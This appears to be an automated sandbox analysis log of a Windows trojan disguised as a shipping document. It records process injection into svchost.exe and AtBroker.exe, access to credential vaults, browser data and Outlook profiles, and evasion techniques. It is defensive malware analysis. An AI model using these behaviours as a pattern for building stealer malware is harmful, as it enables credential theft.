Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_009DBF26	0_2_009DBF26
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_00EA3008	0_2_00EA3008
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00418983	2_2_00418983
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042F073	2_2_0042F073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402810	2_2_00402810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004030F0	2_2_004030F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004010A0	2_2_004010A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00410243	2_2_00410243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00401210	2_2_00401210
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004022F0	2_2_004022F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00416BD3	2_2_00416BD3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00410463	2_2_00410463
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402C64	2_2_00402C64
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402C70	2_2_00402C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004024C0	2_2_004024C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004024D9	2_2_004024D9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040E4E3	2_2_0040E4E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004024B8	2_2_004024B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0089E0C6	2_2_0089E0C6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0089E2E9	2_2_0089E2E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_009463BF	2_2_009463BF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_008C63DB	2_2_008C63DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_008A2305	2_2_008A2305
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_008EA37B	2_2_008EA37B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0092443E	2_2_0092443E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_009205E3	2_2_009205E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_008BC5F0	2_2_008BC5F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_008E6540	2_2_008E6540
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_008A4680	2_2_008A4680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_008AE6C1	2_2_008AE6C1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00942622	2_2_00942622
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_008EA634	2_2_008EA634
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_008AC7BC	2_2_008AC7BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_008AC85C	2_2_008AC85C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_008C286D	2_2_008C286D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0094098E	2_2_0094098E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_008A29B2	2_2_008A29B2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_009349F5	2_2_009349F5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_008B69FE	2_2_008B69FE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_008EC920	2_2_008EC920
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0094CBA4	2_2_0094CBA4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00926BCB	2_2_00926BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00942C9C	2_2_00942C9C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0092AC5E	2_2_0092AC5E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_008D0D3B	2_2_008D0D3B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_008ACD5B	2_2_008ACD5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_008D2E2F	2_2_008D2E2F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_008BEE4C	2_2_008BEE4C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0093CFB1	2_2_0093CFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00912FDC	2_2_00912FDC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_008B0F3F	2_2_008B0F3F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_008CD005	2_2_008CD005
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_008A3040	2_2_008A3040
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_008B905A	2_2_008B905A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0091D06D	2_2_0091D06D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0092D13F	2_2_0092D13F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00941238	2_2_00941238
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0089F3CF	2_2_0089F3CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_008A7353	2_2_008A7353
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_008B1489	2_2_008B1489
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_008D5485	2_2_008D5485
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_008DD47D	2_2_008DD47D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_009435DA	2_2_009435DA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_008A351F	2_2_008A351F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0092579A	2_2_0092579A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_008D57C3	2_2_008D57C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0093771D	2_2_0093771D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0091F8C4	2_2_0091F8C4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0093F8EE	2_2_0093F8EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00925955	2_2_00925955
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0092394B	2_2_0092394B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00953A83	2_2_00953A83
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0092DBDA	2_2_0092DBDA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0089FBD7	2_2_0089FBD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_008C7B00	2_2_008C7B00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0093FDDD	2_2_0093FDDD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0092BF14	2_2_0092BF14
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_008CDF7C	2_2_008CDF7C
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	Code function: 3_2_05277D88	3_2_05277D88
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	Code function: 3_2_0527E4F8	3_2_0527E4F8
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	Code function: 3_2_05275E08	3_2_05275E08
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	Code function: 3_2_05296998	3_2_05296998
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	Code function: 3_2_05277B68	3_2_05277B68
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	Code function: 3_2_0528026D	3_2_0528026D

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 0089DF5C appears 137 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 0090F970 appears 84 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 008E3F92 appears 132 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 008E373B appears 253 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 0089E2A8 appears 60 times
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: String function: 009B7F41 appears 35 times
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: String function: 009D0C63 appears 70 times
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: String function: 009D8A80 appears 42 times

Source: sqlite3.dll.4.dr

Static PE information: Number of sections : 18 > 10

Source: SHIPPING DOC_20241107.exe, 00000000.00000003.347898978.0000000002A1D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs SHIPPING DOC_20241107.exe
Source: SHIPPING DOC_20241107.exe, 00000000.00000003.347838149.0000000002DC0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs SHIPPING DOC_20241107.exe
Source: SHIPPING DOC_20241107.exe, 00000000.00000002.348381929.0000000000CD5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesvchost.exej% vs SHIPPING DOC_20241107.exe

Source: C:\Windows\SysWOW64\AtBroker.exe

Registry key queried: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox\52.0.1 (x86 en-US)\Main Install Directory

Source: SHIPPING DOC_20241107.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/6@17/15

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

Code function: 0_2_00A1A0F4 GetLastError,FormatMessageW,

0_2_00A1A0F4

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_00A084F3 AdjustTokenPrivileges,CloseHandle,		0_2_00A084F3
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_00A08AA3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		0_2_00A08AA3

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

Code function: 0_2_00A1B3BF SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_00A1B3BF

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

Code function: 0_2_00A2EF21 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_00A2EF21

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

Code function: 0_2_00A284D0 CoInitialize,CoUninitialize,CoCreateInstance,IIDFromString,VariantInit,VariantClear,

0_2_00A284D0

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

Code function: 0_2_009B4FE9 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_009B4FE9

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

File created: C:\Users\user\AppData\Local\Temp\starbright

Source: SHIPPING DOC_20241107.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\AtBroker.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Windows\SysWOW64\AtBroker.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: AtBroker.exe, 00000004.00000002.874811032.0000000061EA4000.00000002.00000001.01000000.00000007.sdmp, sqlite3.dll.4.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: AtBroker.exe, 00000004.00000002.874811032.0000000061EA4000.00000002.00000001.01000000.00000007.sdmp, sqlite3.dll.4.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: AtBroker.exe, 00000004.00000002.874811032.0000000061EA4000.00000002.00000001.01000000.00000007.sdmp, sqlite3.dll.4.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: AtBroker.exe, 00000004.00000002.874811032.0000000061EA4000.00000002.00000001.01000000.00000007.sdmp, sqlite3.dll.4.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: AtBroker.exe, 00000004.00000002.874811032.0000000061EA4000.00000002.00000001.01000000.00000007.sdmp, sqlite3.dll.4.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: AtBroker.exe, 00000004.00000002.874811032.0000000061EA4000.00000002.00000001.01000000.00000007.sdmp, sqlite3.dll.4.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: AtBroker.exe, 00000004.00000002.874811032.0000000061EA4000.00000002.00000001.01000000.00000007.sdmp, sqlite3.dll.4.dr	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: SHIPPING DOC_20241107.exe

ReversingLabs: Detection: 47%

Source: unknown	Process created: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe "C:\Users\user\Desktop\SHIPPING DOC_20241107.exe"
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\SHIPPING DOC_20241107.exe"
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	Process created: C:\Windows\SysWOW64\AtBroker.exe "C:\Windows\SysWOW64\AtBroker.exe"
Source: C:\Windows\SysWOW64\AtBroker.exe	Process created: C:\Program Files (x86)\Mozilla Firefox\firefox.exe "C:\Program Files (x86)\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\SHIPPING DOC_20241107.exe"	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	Process created: C:\Windows\SysWOW64\AtBroker.exe "C:\Windows\SysWOW64\AtBroker.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Process created: C:\Program Files (x86)\Mozilla Firefox\firefox.exe "C:\Program Files (x86)\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: wdscore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: cryptui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: riched32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\SysWOW64\AtBroker.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32

Source: C:\Windows\SysWOW64\AtBroker.exe

File opened: C:\Windows\SysWOW64\RichEd32.dll

Source: C:\Windows\SysWOW64\AtBroker.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Switches to a custom stack to bypass stack traces

Source: SHIPPING DOC_20241107.exe

Static file information: File size 1536512 > 1048576

Source: SHIPPING DOC_20241107.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: SHIPPING DOC_20241107.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: SHIPPING DOC_20241107.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: SHIPPING DOC_20241107.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: SHIPPING DOC_20241107.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: SHIPPING DOC_20241107.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: SHIPPING DOC_20241107.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: ATBroker.pdb2$ source: svchost.exe, 00000002.00000002.369002728.0000000000294000.00000004.00000020.00020000.00000000.sdmp, AhEyCWkdTLz.exe, 00000003.00000002.873933588.00000000004E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: AhEyCWkdTLz.exe, 00000003.00000000.350491590.000000000136E000.00000002.00000001.01000000.00000004.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874244565.000000000136E000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: ATBroker.pdb source: svchost.exe, 00000002.00000002.369002728.0000000000294000.00000004.00000020.00020000.00000000.sdmp, AhEyCWkdTLz.exe, 00000003.00000002.873933588.00000000004E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: SHIPPING DOC_20241107.exe, 00000000.00000003.347728935.0000000002940000.00000004.00001000.00020000.00000000.sdmp, SHIPPING DOC_20241107.exe, 00000000.00000003.347838149.0000000002CC0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000002.369027051.0000000000880000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.348646748.00000000005B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.348324365.0000000000450000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.369027051.0000000000A00000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874145495.00000000020D0000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874145495.0000000001F50000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000003.370964344.0000000001DC0000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000003.370658055.0000000001C60000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: AtBroker.exe, 00000004.00000002.874304385.00000000027FC000.00000004.10000000.00040000.00000000.sdmp, AtBroker.exe, 00000004.00000002.873985297.000000000044E000.00000004.00000020.00020000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000000.383610146.000000000339C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.436603581.0000000000E9C000.00000004.80000000.00040000.00000000.sdmp

Source: SHIPPING DOC_20241107.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: SHIPPING DOC_20241107.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: SHIPPING DOC_20241107.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: SHIPPING DOC_20241107.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: SHIPPING DOC_20241107.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

Code function: 0_2_00A2C104 LoadLibraryA,GetProcAddress,

0_2_00A2C104

Source: sqlite3.dll.4.dr	Static PE information: section name: /4
Source: sqlite3.dll.4.dr	Static PE information: section name: /19
Source: sqlite3.dll.4.dr	Static PE information: section name: /31
Source: sqlite3.dll.4.dr	Static PE information: section name: /45
Source: sqlite3.dll.4.dr	Static PE information: section name: /57
Source: sqlite3.dll.4.dr	Static PE information: section name: /70
Source: sqlite3.dll.4.dr	Static PE information: section name: /81
Source: sqlite3.dll.4.dr	Static PE information: section name: /92

